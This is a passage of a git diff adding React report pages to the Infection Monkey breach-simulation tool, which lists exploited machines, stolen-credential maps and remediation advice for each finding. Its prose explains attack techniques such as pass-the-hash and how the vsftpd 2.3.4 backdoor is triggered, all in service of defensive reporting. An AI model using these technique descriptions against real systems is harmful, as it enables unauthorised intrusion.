+ successfully breached <span + className="label label-danger">{this.state.report.glance.exploited.length}</span> of them. + </p> + <div className="text-center" style={{margin: '10px'}}> + <Line style={{width: '300px', marginRight: '5px'}} percent={exploitPercentage} strokeWidth="4" + trailWidth="4" + strokeColor="#d9534f" trailColor="#f0ad4e"/> + <b>{Math.round(exploitPercentage)}% of scanned machines exploited</b> + </div> + </div> + <p> + From the attacker's point of view, the network looks like this: + </p> + <div className="map-legend"> + <b>Legend: </b> + <span>Exploit <FontAwesomeIcon icon={faMinus} size="lg" style={{color: '#cc0200'}}/></span> + <b style={{color: '#aeaeae'}}> | </b> + <span>Scan <FontAwesomeIcon icon={faMinus} size="lg" style={{color: '#ff9900'}}/></span> + <b style={{color: '#aeaeae'}}> | </b> + <span>Tunnel <FontAwesomeIcon icon={faMinus} size="lg" style={{color: '#0158aa'}}/></span> + <b style={{color: '#aeaeae'}}> | </b> + <span>Island Communication <FontAwesomeIcon icon={faMinus} size="lg" style={{color: '#a9aaa9'}}/></span> + </div> + <div style={{position: 'relative', height: '80vh'}}> + <ReactiveGraph graph={this.state.graph} options={getOptions(this.state.nodeStateList)}/> + </div> + <div style={{marginBottom: '20px'}}> + <BreachedServers data={this.state.report.glance.exploited}/> + </div> + <div style={{marginBottom: '20px'}}> + <PostBreach data={this.state.report.glance.scanned}/> + </div> + <div style={{marginBottom: '20px'}}> + <ScannedServers data={this.state.report.glance.scanned}/> + </div> + <div style={{position: 'relative', height: '80vh'}}> + {this.generateReportPthMap()} + </div> + <div style={{marginBottom: '20px'}}> + <StolenPasswords data={this.state.report.glance.stolen_creds.concat(this.state.report.glance.ssh_keys)}/> + </div> + <div> + <StrongUsers data={this.state.report.glance.strong_users}/> + </div> + </div> + ); + } + + generateReportPthMap() { + return ( + <div id="pth"> + <h3> + Credentials Map + </h3> + <p> + This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral + movement opportunities by attackers. + </p> + <div className="map-legend"> + <b>Legend: </b> + <span>Access credentials <FontAwesomeIcon icon={faMinus} size="lg" style={{color: '#0158aa'}}/></span> <b + style={{color: '#aeaeae'}}> | </b> + </div> + <div> + <PassTheHashMapPageComponent graph={this.state.report.glance.pth_map}/> + </div> + <br/> + </div> + ); + } + + generateReportFooter() { + return ( + <div id="footer" className="text-center" style={{marginTop: '20px'}}> + For questions, suggestions or any other feedback + contact: <a href="mailto://labs@guardicore.com" className="no-print">labs@guardicore.com</a> + <div className="force-print" style={{display: 'none'}}>labs@guardicore.com</div> + <img src={guardicoreLogoImage} alt="GuardiCore" className="center-block" style={{height: '50px'}}/> + </div> + ); + } + + generateInfoBadges(data_array) { + return data_array.map(badge_data => <span className="label label-info" style={{margin: '2px'}}>{badge_data}</span>); + } + + generateCrossSegmentIssue(crossSegmentIssue) { + return <li> + {'Communication possible from ' + crossSegmentIssue['source_subnet'] + ' to ' + crossSegmentIssue['target_subnet']} + <CollapsibleWellComponent> + <ul> + {crossSegmentIssue['issues'].map(x => + x['is_self'] ? + <li> + {'Machine ' + x['hostname'] + ' has both ips: ' + x['source'] + ' and ' + x['target']} + </li> + : + <li> + {'IP ' + x['source'] + ' (' + x['hostname'] + ') connected to IP ' + x['target'] + + ' using the services: ' + Object.keys(x['services']).join(', ')} + </li> + )} + </ul> + </CollapsibleWellComponent> + </li>; + } + + generateShellshockPathListBadges(paths) { + return paths.map(path => <span className="label label-warning" style={{margin: '2px'}}>{path}</span>); + } + + generateSmbPasswordIssue(issue) { + return ( + <li> + Change <span className="label label-success">{issue.username}</span>'s password to a complex one-use password + that is not shared with other computers on the network. + <CollapsibleWellComponent> + The machine <span className="label label-primary">{issue.machine}</span> (<span + className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span + className="label label-danger">SMB</span> attack. + <br/> + The Monkey authenticated over the SMB protocol with user <span + className="label label-success">{issue.username}</span> and its password. + </CollapsibleWellComponent> + </li> + ); + } + + generateSmbPthIssue(issue) { + return ( + <li> + Change <span className="label label-success">{issue.username}</span>'s password to a complex one-use password + that is not shared with other computers on the network. + <CollapsibleWellComponent> + The machine <span className="label label-primary">{issue.machine}</span> (<span + className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span + className="label label-danger">SMB</span> attack. + <br/> + The Monkey used a pass-the-hash attack over SMB protocol with user <span + className="label label-success">{issue.username}</span>. + </CollapsibleWellComponent> + </li> + ); + } + + generateWmiPasswordIssue(issue) { + return ( + <li> + Change <span className="label label-success">{issue.username}</span>'s password to a complex one-use password + that is not shared with other computers on the network. + <CollapsibleWellComponent> + The machine <span className="label label-primary">{issue.machine}</span> (<span + className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span + className="label label-danger">WMI</span> attack. + <br/> + The Monkey authenticated over the WMI protocol with user <span + className="label label-success">{issue.username}</span> and its password. + </CollapsibleWellComponent> + </li> + ); + } + + generateWmiPthIssue(issue) { + return ( + <li> + Change <span className="label label-success">{issue.username}</span>'s password to a complex one-use password + that is not shared with other computers on the network. + <CollapsibleWellComponent> + The machine <span className="label label-primary">{issue.machine}</span> (<span + className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span + className="label label-danger">WMI</span> attack. + <br/> + The Monkey used a pass-the-hash attack over WMI protocol with user <span + className="label label-success">{issue.username}</span>. + </CollapsibleWellComponent> + </li> + ); + } + + generateSshIssue(issue) { + return ( + <li> + Change <span className="label label-success">{issue.username}</span>'s password to a complex one-use password + that is not shared with other computers on the network. + <CollapsibleWellComponent> + The machine <span className="label label-primary">{issue.machine}</span> (<span + className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span + className="label label-danger">SSH</span> attack. + <br/> + The Monkey authenticated over the SSH protocol with user <span + className="label label-success">{issue.username}</span> and its password. + </CollapsibleWellComponent> + </li> + ); + } + + generateSshKeysIssue(issue) { + return ( + <li> + Protect <span className="label label-success">{issue.ssh_key}</span> private key with a pass phrase. + <CollapsibleWellComponent> + The machine <span className="label label-primary">{issue.machine}</span> (<span + className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span + className="label label-danger">SSH</span> attack. + <br/> + The Monkey authenticated over the SSH protocol with private key <span + className="label label-success">{issue.ssh_key}</span>. + </CollapsibleWellComponent> + </li> + ); + } + + + generateSambaCryIssue(issue) { + return ( + <li> + Change <span className="label label-success">{issue.username}</span>'s password to a complex one-use password + that is not shared with other computers on the network. + <br/> + Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up. + <CollapsibleWellComponent> + The machine <span className="label label-primary">{issue.machine}</span> (<span + className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span + className="label label-danger">SambaCry</span> attack. + <br/> + The Monkey authenticated over the SMB protocol with user <span + className="label label-success">{issue.username}</span> and its password, and used the SambaCry + vulnerability. + </CollapsibleWellComponent> + </li> + ); + } + + generateVsftpdBackdoorIssue(issue) { + return ( + <li> + Update your VSFTPD server to the latest version vsftpd-3.0.3. + <CollapsibleWellComponent> + The machine <span className="label label-primary">{issue.machine}</span> (<span + className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) has a backdoor running at port <span + className="label label-danger">6200</span>. + <br/> + The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523. + <br/><br/>In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been + compromised. + Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command + shell on port 6200. + <br/><br/> + The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor + at port 6200. + <br/><br/>Read more about the security issue and remediation <a + href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523" + >here</a>. + </CollapsibleWellComponent> + </li> + ); + } + + generateElasticIssue(issue) { + return ( + <li> + Update your Elastic Search server to version 1.4.3 and up. + <CollapsibleWellComponent> + The machine <span className="label label-primary">{issue.machine}</span> (<span + className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to an <span + className="label label-danger">Elastic Groovy</span> attack. + <br/> + The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427. + </CollapsibleWellComponent> + </li> + ); + } + + generateShellshockIssue(issue) { + return ( + <li> + Update your Bash to a ShellShock-patched version. + <CollapsibleWellComponent> + The machine <span className="label label-primary">{issue.machine}</span> (<span + className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span + className="label label-danger">ShellShock</span> attack. + <br/> + The attack was made possible because the HTTP server running on TCP port <span + className="label label-info">{issue.port}</span> was vulnerable to a shell injection attack on the + paths: {this.generateShellshockPathListBadges(issue.paths)}. + </CollapsibleWellComponent> + </li> + ); + } + + generateAzureIssue(issue) { + return ( + <li> + Delete VM Access plugin configuration files. + <CollapsibleWellComponent> + Credentials could be stolen from <span + className="label label-primary">{issue.machine}</span> for the following users <span + className="label label-primary">{issue.users}</span>. Read more about the security issue and remediation <a + href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/" + >here</a>. + </CollapsibleWellComponent> + </li> + ); + } + + generateConfickerIssue(issue) { + return ( + <li> + Install the latest Windows updates or upgrade to a newer operating system. + <CollapsibleWellComponent> + The machine <span className="label label-primary">{issue.machine}</span> (<span + className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span + className="label label-danger">Conficker</span> attack. + <br/> + The attack was made possible because the target machine used an outdated and unpatched operating system + vulnerable to Conficker. + </CollapsibleWellComponent> + </li> + ); + } + + generateIslandCrossSegmentIssue(issue) { + return ( + <li> + Segment your network and make sure there is no communication between machines from different segments. + <CollapsibleWellComponent> + The network can probably be segmented. A monkey instance on <span + className="label label-primary">{issue.machine}</span> in the + networks {this.generateInfoBadges(issue.networks)} + could directly access the Monkey Island server in the + networks {this.generateInfoBadges(issue.server_networks)}. + </CollapsibleWellComponent> + </li> + ); + } + + generateSharedCredsDomainIssue(issue) { + return ( + <li> + Some domain users are sharing passwords, this should be fixed by changing passwords. + <CollapsibleWellComponent> + These users are sharing access password: + {this.generateInfoBadges(issue.shared_with)}. + </CollapsibleWellComponent> + </li> + ); + } + + generateSharedCredsIssue(issue) { + return ( + <li> + Some users are sharing passwords, this should be fixed by changing passwords. + <CollapsibleWellComponent> + These users are sharing access password: + {this.generateInfoBadges(issue.shared_with)}. + </CollapsibleWellComponent> + </li> + ); + } + + generateSharedLocalAdminsIssue(issue) { + return ( + <li> + Make sure the right administrator accounts are managing the right machines, and that there isn’t an unintentional local + admin sharing. + <CollapsibleWellComponent> + Here is a list of machines which the account <span + className="label label-primary">{issue.username}</span> is defined as an administrator: + {this.generateInfoBadges(issue.shared_machines)} + </CollapsibleWellComponent> + </li> + ); + } + + generateStrongUsersOnCritIssue(issue) { + return ( + <li> + This critical machine is open to attacks via strong users with access to it. + <CollapsibleWellComponent> + The services: {this.generateInfoBadges(issue.services)} have been found on the machine + thus classifying it as a critical machine. + These users has access to it: + {this.generateInfoBadges(issue.threatening_users)}. + </CollapsibleWellComponent> + </li> + ); + } + + generateTunnelIssue(issue) { + return ( + <li> + Use micro-segmentation policies to disable communication other than the required. + <CollapsibleWellComponent> + Machines are not locked down at port level. Network tunnel was set up from <span + className="label label-primary">{issue.machine}</span> to <span + className="label label-primary">{issue.dest}</span>. + </CollapsibleWellComponent> + </li> + ); + } + + generateStruts2Issue(issue) { + return ( + <li> + Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions. + <CollapsibleWellComponent> + Struts2 server at <span className="label label-primary">{issue.machine}</span> (<span + className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span + className="label label-danger">remote code execution</span> attack. + <br/> + The attack was made possible because the server is using an old version of Jakarta based file upload + Multipart parser. For possible work-arounds and more info read <a + href="https://cwiki.apache.org/confluence/display/WW/S2-045" + >here</a>. + </CollapsibleWellComponent> + </li> + ); + } + + generateWebLogicIssue(issue) { + return ( + <li> + Update Oracle WebLogic server to the latest supported version. + <CollapsibleWellComponent> + Oracle WebLogic server at <span className="label label-primary">{issue.machine}</span> (<span + className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to one of <span + className="label label-danger">remote code execution</span> attacks. + <br/> + The attack was made possible due to one of the following vulnerabilities: + <a href={'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-10271'}> CVE-2017-10271</a> or + <a href={'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-2725'}> CVE-2019-2725</a> + </CollapsibleWellComponent> + </li> + ); + } + + generateHadoopIssue(issue) { + return ( + <li> + Run Hadoop in secure mode (<a + href="http://hadoop.apache.org/docs/current/hadoop-project-dist/hadoop-common/SecureMode.html"> + add Kerberos authentication</a>). + <CollapsibleWellComponent> + The Hadoop server at <span className="label label-primary">{issue.machine}</span> (<span + className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to <span + className="label label-danger">remote code execution</span> attack. + <br/> + The attack was made possible due to default Hadoop/Yarn configuration being insecure. + </CollapsibleWellComponent> + </li> + ); + } + + generateMSSQLIssue(issue) { + return ( + <li> + Disable the xp_cmdshell option. + <CollapsibleWellComponent> + The machine <span className="label label-primary">{issue.machine}</span> (<span + className="label label-info" style={{margin: '2px'}}>{issue.ip_address}</span>) is vulnerable to a <span + className="label label-danger">MSSQL exploit attack</span>. + <br/> + The attack was made possible because the target machine used an outdated MSSQL server configuration allowing + the usage of the xp_cmdshell command. To learn more about how to disable this feature, read <a + href="https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?view=sql-server-2017"> + Microsoft's documentation. </a> + </CollapsibleWellComponent> + </li> + ); + } + + generateIssue = (issue) => { + let data; + switch (issue.type) { + case 'vsftp': + data = this.generateVsftpdBackdoorIssue(issue); + break; + case 'smb_password': + data = this.generateSmbPasswordIssue(issue); + break; + case 'smb_pth': + data = this.generateSmbPthIssue(issue); + break; + case 'wmi_password': + data = this.generateWmiPasswordIssue(issue); + break; + case 'wmi_pth': + data = this.generateWmiPthIssue(issue); + break; + case 'ssh': + data = this.generateSshIssue(issue); + break; + case 'ssh_key': + data = this.generateSshKeysIssue(issue); + break; + case 'sambacry': + data = this.generateSambaCryIssue(issue); + break; + case 'elastic': + data = this.generateElasticIssue(issue); + break; + case 'shellshock': + data = this.generateShellshockIssue(issue); + break; + case 'conficker': + data = this.generateConfickerIssue(issue); + break; + case 'island_cross_segment': + data = this.generateIslandCrossSegmentIssue(issue); + break; + case 'shared_passwords': + data = this.generateSharedCredsIssue(issue); + break; + case 'shared_passwords_domain': + data = this.generateSharedCredsDomainIssue(issue); + break; + case 'shared_admins_domain': + data = this.generateSharedLocalAdminsIssue(issue); + break; + case 'strong_users_on_crit': + data = this.generateStrongUsersOnCritIssue(issue); + break; + case 'tunnel': + data = this.generateTunnelIssue(issue); + break; + case 'azure_password': + data = this.generateAzureIssue(issue); + break; + case 'struts2': + data = this.generateStruts2Issue(issue); + break; + case 'weblogic': + data = this.generateWebLogicIssue(issue); + break; + case 'hadoop': + data = this.generateHadoopIssue(issue); + break; + case 'mssql': + data = this.generateMSSQLIssue(issue); + break; + } + return data; + }; + + generateIssues = (issues) => { + let issuesDivArray = []; + for (let machine of Object.keys(issues)) { + issuesDivArray.push( + <li> + <h4><b>{machine}</b></h4> + <ol> + {issues[machine].map(this.generateIssue)} + </ol> + </li> + ); + } + return <ul>{issuesDivArray}</ul>; + }; +} + +export default ReportPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/ZeroTrustReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/ZeroTrustReport.js new file mode 100644 index 000000000..772802c9d --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/ZeroTrustReport.js @@ -0,0 +1,66 @@ +import React, {Fragment} from 'react'; +import AuthComponent from '../AuthComponent'; +import ReportHeader, {ReportTypes} from './common/ReportHeader'; +import ReportLoader from './common/ReportLoader'; +import PrintReportButton from './common/PrintReportButton'; +import SummarySection from './zerotrust/SummarySection'; +import FindingsSection from './zerotrust/FindingsSection'; +import PrinciplesSection from './zerotrust/PrinciplesSection'; + +class ZeroTrustReportPageComponent extends AuthComponent { + + constructor(props) { + super(props); + this.state = this.props.report + } + + componentDidUpdate(prevProps) { + if (this.props.report !== prevProps.report) { + this.setState(this.props.report) + } + } + + render() { + let content; + if (this.stillLoadingDataFromServer()) { + content = <ReportLoader loading={true}/>; + } else { + content = <div id="MainContentSection"> + <SummarySection allMonkeysAreDead={this.state.allMonkeysAreDead} pillars={this.state.pillars}/> + <PrinciplesSection principles={this.state.principles} + pillarsToStatuses={this.state.pillars.pillarsToStatuses}/> + <FindingsSection pillarsToStatuses={this.state.pillars.pillarsToStatuses} findings={this.state.findings}/> + </div>; + } + + return ( + <Fragment> + <div style={{marginBottom: '20px'}}> + <PrintReportButton onClick={() => { + print(); + }}/> + </div> + <div className="report-page"> + <ReportHeader report_type={ReportTypes.zeroTrust}/> + <hr/> + {content} + </div> + <div style={{marginTop: '20px'}}> + <PrintReportButton onClick={() => { + print(); + }}/> + </div> + </Fragment> + ) + } + + stillLoadingDataFromServer() { + return typeof this.state.findings === 'undefined' + || typeof this.state.pillars === 'undefined' + || typeof this.state.principles === 'undefined'; + } + + +} + +export default ZeroTrustReportPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/attack/ReportMatrixComponent.js b/monkey/monkey_island/cc/ui/src/components/report-components/attack/ReportMatrixComponent.js new file mode 100644 index 000000000..9be5d5f0b --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/attack/ReportMatrixComponent.js @@ -0,0 +1,84 @@ +import React from 'react'; + +import Checkbox from '../../ui-components/Checkbox'; +import ReactTable from 'react-table'; +import 'filepond/dist/filepond.min.css'; +import '../../../styles/report/ReportAttackMatrix.scss'; + +class ReportMatrixComponent extends React.Component { + constructor(props) { + super(props); + this.state = {techniques: this.props.techniques, + schema: this.props.schema}; + } + + getColumns() { + let columns = []; + for(const type_key in this.state.schema.properties){ + if (! this.state.schema.properties.hasOwnProperty(type_key)){ + continue; + } + let tech_type = this.state.schema.properties[type_key]; + columns.push({ + Header: () => (<a href={tech_type.link} target="_blank">{tech_type.title}</a>), + id: type_key, + accessor: x => this.renderTechnique(x[tech_type.title]), + style: {'whiteSpace': 'unset'} + }); + } + return columns; + } + + getTableRows() { + let rows = []; + for (const tech_id in this.state.techniques) { + if (this.state.techniques.hasOwnProperty(tech_id)){ + let technique_added = false; + let technique = this.state.techniques[tech_id]; + for(const row of rows){ + if (! row.hasOwnProperty(technique.type)){ + row[technique.type] = technique; + technique_added = true; + break; + } + } + if (! technique_added){ + let newRow = {}; + newRow[technique.type] = technique; + rows.push(newRow) + } + } + } + return rows; + } + + renderTechnique(technique) { + if (technique == null || typeof technique === undefined) { + return (<div/>) + } else { + return ( + <Checkbox checked={technique.selected} + necessary={false} + name={technique.title} + changeHandler={this.props.onClick} + status={technique.status}> + {technique.title} + </Checkbox>) + } + } + + render() { + let tableRows = this.getTableRows(); + return ( + <div> + <div className={'attack-matrix'}> + <ReactTable columns={this.getColumns()} + data={tableRows} + showPagination={false} + defaultPageSize={tableRows.length}/> + </div> + </div>); + } +} + +export default ReportMatrixComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/attack/SelectedTechnique.js b/monkey/monkey_island/cc/ui/src/components/report-components/attack/SelectedTechnique.js new file mode 100644 index 000000000..d46804975 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/attack/SelectedTechnique.js @@ -0,0 +1,77 @@ +import React from 'react'; +import Collapse from '@kunukn/react-collapse'; + +import AttackReport from '../AttackReport'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faQuestionCircle} from '@fortawesome/free-solid-svg-icons'; + +const classNames = require('classnames'); + +class SelectedTechnique extends React.Component { + + constructor(props) { + super(props); + this.state = { + techniques: this.props.techniques, + techComponents: this.props.techComponents, + selectedTechnique: this.props.selected + }; + } + + componentDidUpdate(prevProps) { + if (this.props.selected !== prevProps.selected || this.props.techniques !== prevProps.techniques) { + this.setState({ selectedTechnique: this.props.selected, + techniques: this.props.techniques}) + } + } + + getSelectedTechniqueComponent(tech_id) { + const TechniqueComponent = this.state.techComponents[tech_id]; + return ( + <div key={tech_id} className={classNames('collapse-item', {'item--active': true})}> + <button className={classNames('btn-collapse', + 'selected-technique', + AttackReport.getComponentClass(tech_id, this.state.techniques))}> + <span> + {AttackReport.getStatusIcon(tech_id, this.state.techniques)} + {this.state.techniques[tech_id].title} + </span> + <span> + <a href={this.state.techniques[tech_id].link} target='_blank' className={'link-to-technique'}> + <FontAwesomeIcon icon={faQuestionCircle}/> + </a> + </span> + </button> + <Collapse + className='collapse-comp' + isOpen={true} + render={() => { + return (<div className={`content ${tech_id}`}> + <TechniqueComponent data={this.state.techniques[tech_id]}/> + </div>) + }}/> + </div> + ); + } + + render(){ + let content = {}; + let selectedTechId = this.state.selectedTechnique; + if(selectedTechId === false){ + content = 'None. Select a technique from ATT&CK matrix above.'; + } else { + content = this.getSelectedTechniqueComponent(selectedTechId) + } + + return ( + <div> + <h3 className='selected-technique-title'>Selected technique</h3> + <section className='attack-report selected-technique'> + {content} + </section> + </div> + ) + } +} + +export default SelectedTechnique; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/attack/TechniqueDropdowns.js b/monkey/monkey_island/cc/ui/src/components/report-components/attack/TechniqueDropdowns.js new file mode 100644 index 000000000..d22e8617a --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/attack/TechniqueDropdowns.js @@ -0,0 +1,124 @@ +import React from 'react'; +import Collapse from '@kunukn/react-collapse'; +import { FontAwesomeIcon } from '@fortawesome/react-fontawesome' +import { faQuestionCircle, faChevronUp, faChevronDown, faToggleOn } from '@fortawesome/free-solid-svg-icons' + +import {Button} from 'react-bootstrap'; +import AttackReport from '../AttackReport'; + +const classNames = require('classnames'); + +class TechniqueDropdowns extends React.Component{ + + constructor(props) { + super(props); + this.state = { + techniques: this.props.techniques, + techComponents: this.props.techComponents, + schema: this.props.schema, + collapseOpen: '', + techniquesHidden: true + }; + } + + componentDidUpdate(prevProps) { + if (this.props.techniques !== prevProps.techniques) { + this.setState({ techniques: this.props.techniques }) + } + } + + onToggle = technique => + this.setState(state => ({collapseOpen: state.collapseOpen === technique ? null : technique})); + + getTechniqueCollapse(tech_id) { + return ( + <div key={tech_id} className={classNames('collapse-item', {'item--active': this.state.collapseOpen === tech_id})}> + <button className={classNames('btn-collapse', AttackReport.getComponentClass(tech_id, this.state.techniques))} + onClick={() => this.onToggle(tech_id)}> + <span> + {AttackReport.getStatusIcon(tech_id, this.state.techniques)} + {this.state.techniques[tech_id].title} + </span> + <span> + <a href={this.state.techniques[tech_id].link} target='_blank' className={'link-to-technique'}> + <FontAwesomeIcon icon={faQuestionCircle}/> + </a> + <FontAwesomeIcon icon={this.state.collapseOpen === tech_id ? faChevronDown : faChevronUp}/> + </span> + </button> + <Collapse + className='collapse-comp' + isOpen={this.state.collapseOpen === tech_id} + onChange={({collapseState}) => { + this.setState({tech_id: collapseState}); + }} + onInit={({collapseState}) => { + this.setState({tech_id: collapseState}); + }} + render={collapseState => this.createTechniqueContent(collapseState, tech_id)}/> + </div> + ); + } + + createTechniqueContent(collapseState, technique) { + const TechniqueComponent = this.state.techComponents[technique]; + return ( + <div className={`content ${collapseState}`}> + <TechniqueComponent data={this.state.techniques[technique]}/> + </div> + ); + } + + toggleTechList(){ + this.setState({techniquesHidden: (! this.state.techniquesHidden)}) + } + + getOrderedTechniqueList(){ + let content = []; + for(const type_key in this.state.schema.properties){ + if (! this.state.schema.properties.hasOwnProperty(type_key)){ + continue; + } + let tech_type = this.state.schema.properties[type_key]; + content.push(<h3>{tech_type.title}</h3>); + for(const tech_id in this.state.techniques){ + if (! this.state.techniques.hasOwnProperty(tech_id)){ + continue; + } + let technique = this.state.techniques[tech_id]; + if(technique.type === tech_type.title){ + content.push(this.getTechniqueCollapse(tech_id)) + } + } + } + return content + } + + render(){ + let content = []; + let listClass = ''; + if (this.state.techniquesHidden){ + listClass = 'hidden-list' + } else { + content = this.getOrderedTechniqueList() + } + return ( + <div className='attack-technique-list-component'> + <h3> + List of all techniques + <Button bsStyle='link' + bsSize='large' + onClick={() => this.toggleTechList()} + className={classNames({'toggle-btn': true, + 'toggled-off' : this.state.techniquesHidden, + 'toggled-on': !this.state.techniquesHidden})}> + <FontAwesomeIcon icon={faToggleOn} className={'switch-on'} size={'2x'}/> + <FontAwesomeIcon icon={faToggleOn} className={'switch-off'} size={'2x'}/> + </Button> + </h3> + <section className={`dropdown-list ${listClass}`}>{content}</section> + </div>); + } +} + +export default TechniqueDropdowns; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js index 7b72570fa..eae09a0fc 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/MonkeysStillAliveWarning.js @@ -1,5 +1,5 @@ -import React, {Component} from "react"; -import * as PropTypes from "prop-types"; +import React, {Component} from 'react'; +import * as PropTypes from 'prop-types'; export default class MonkeysStillAliveWarning extends Component { render() { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/MustRunMonkeyWarning.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/MustRunMonkeyWarning.js index f1d23e302..bb3f49e2c 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/MustRunMonkeyWarning.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/MustRunMonkeyWarning.js @@ -1,5 +1,5 @@ -import React, {Component} from "react"; -import {NavLink} from "react-router-dom"; +import React, {Component} from 'react'; +import {NavLink} from 'react-router-dom'; export default class MustRunMonkeyWarning extends Component { render() { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js index 5bc6183fd..152faa624 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/PaginatedTable.js @@ -1,6 +1,6 @@ -import React, {Component} from "react"; -import ReactTable from "react-table"; -import * as PropTypes from "prop-types"; +import React, {Component} from 'react'; +import ReactTable from 'react-table'; +import * as PropTypes from 'prop-types'; class PaginatedTable extends Component { render() { @@ -18,8 +18,7 @@ class PaginatedTable extends Component { /> </div> ); - } - else { + } else { return ( <div/> ); @@ -32,5 +31,5 @@ export default PaginatedTable; PaginatedTable.propTypes = { data: PropTypes.array, columns: PropTypes.array, - pageSize: PropTypes.number, + pageSize: PropTypes.number }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/PrintReportButton.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/PrintReportButton.js index 1a692bd68..6f6d2336a 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/PrintReportButton.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/PrintReportButton.js @@ -1,6 +1,6 @@ -import React, {Component} from "react"; -import {Button} from "react-bootstrap"; -import * as PropTypes from "prop-types"; +import React, {Component} from 'react'; +import {Button} from 'react-bootstrap'; +import * as PropTypes from 'prop-types'; export default class PrintReportButton extends Component { render() { diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js index 44d470f7e..39efc0a01 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportHeader.js @@ -1,13 +1,14 @@ -import React, {Component} from "react"; -import {Col} from "react-bootstrap"; -import * as PropTypes from "prop-types"; +import React, {Component} from 'react'; +import {Col} from 'react-bootstrap'; +import * as PropTypes from 'prop-types'; let monkeyLogoImage = require('../../../images/monkey-icon.svg'); export const ReportTypes = { - zeroTrust: "Zero Trust", - security: "Security", - null: "" + zeroTrust: 'Zero Trust', + security: 'Security', + attack: 'ATT&CK', + null: '' }; export class ReportHeader extends Component { @@ -41,5 +42,5 @@ export class ReportHeader extends Component { export default ReportHeader; ReportHeader.propTypes = { - report_type: PropTypes.string, + report_type: PropTypes.string }; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js index e389f7532..6df87febc 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/common/ReportLoader.js @@ -1,7 +1,7 @@ -import {css} from "@emotion/core"; -import React, {Component} from "react"; -import {GridLoader} from "react-spinners"; -import * as PropTypes from "prop-types"; +import {css} from '@emotion/core'; +import React, {Component} from 'react'; +import {GridLoader} from 'react-spinners'; +import * as PropTypes from 'prop-types'; const loading_css_override = css` display: block; @@ -16,7 +16,7 @@ export default class ReportLoader extends Component { <h1>Generating Report...</h1> <GridLoader css={loading_css_override} - sizeUnit={"px"} + sizeUnit={'px'} size={20} color={'#ffcc00'} loading={this.props.loading} diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js b/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js index 41a45edad..7867244fc 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/common/SecurityIssuesGlance.js +++ 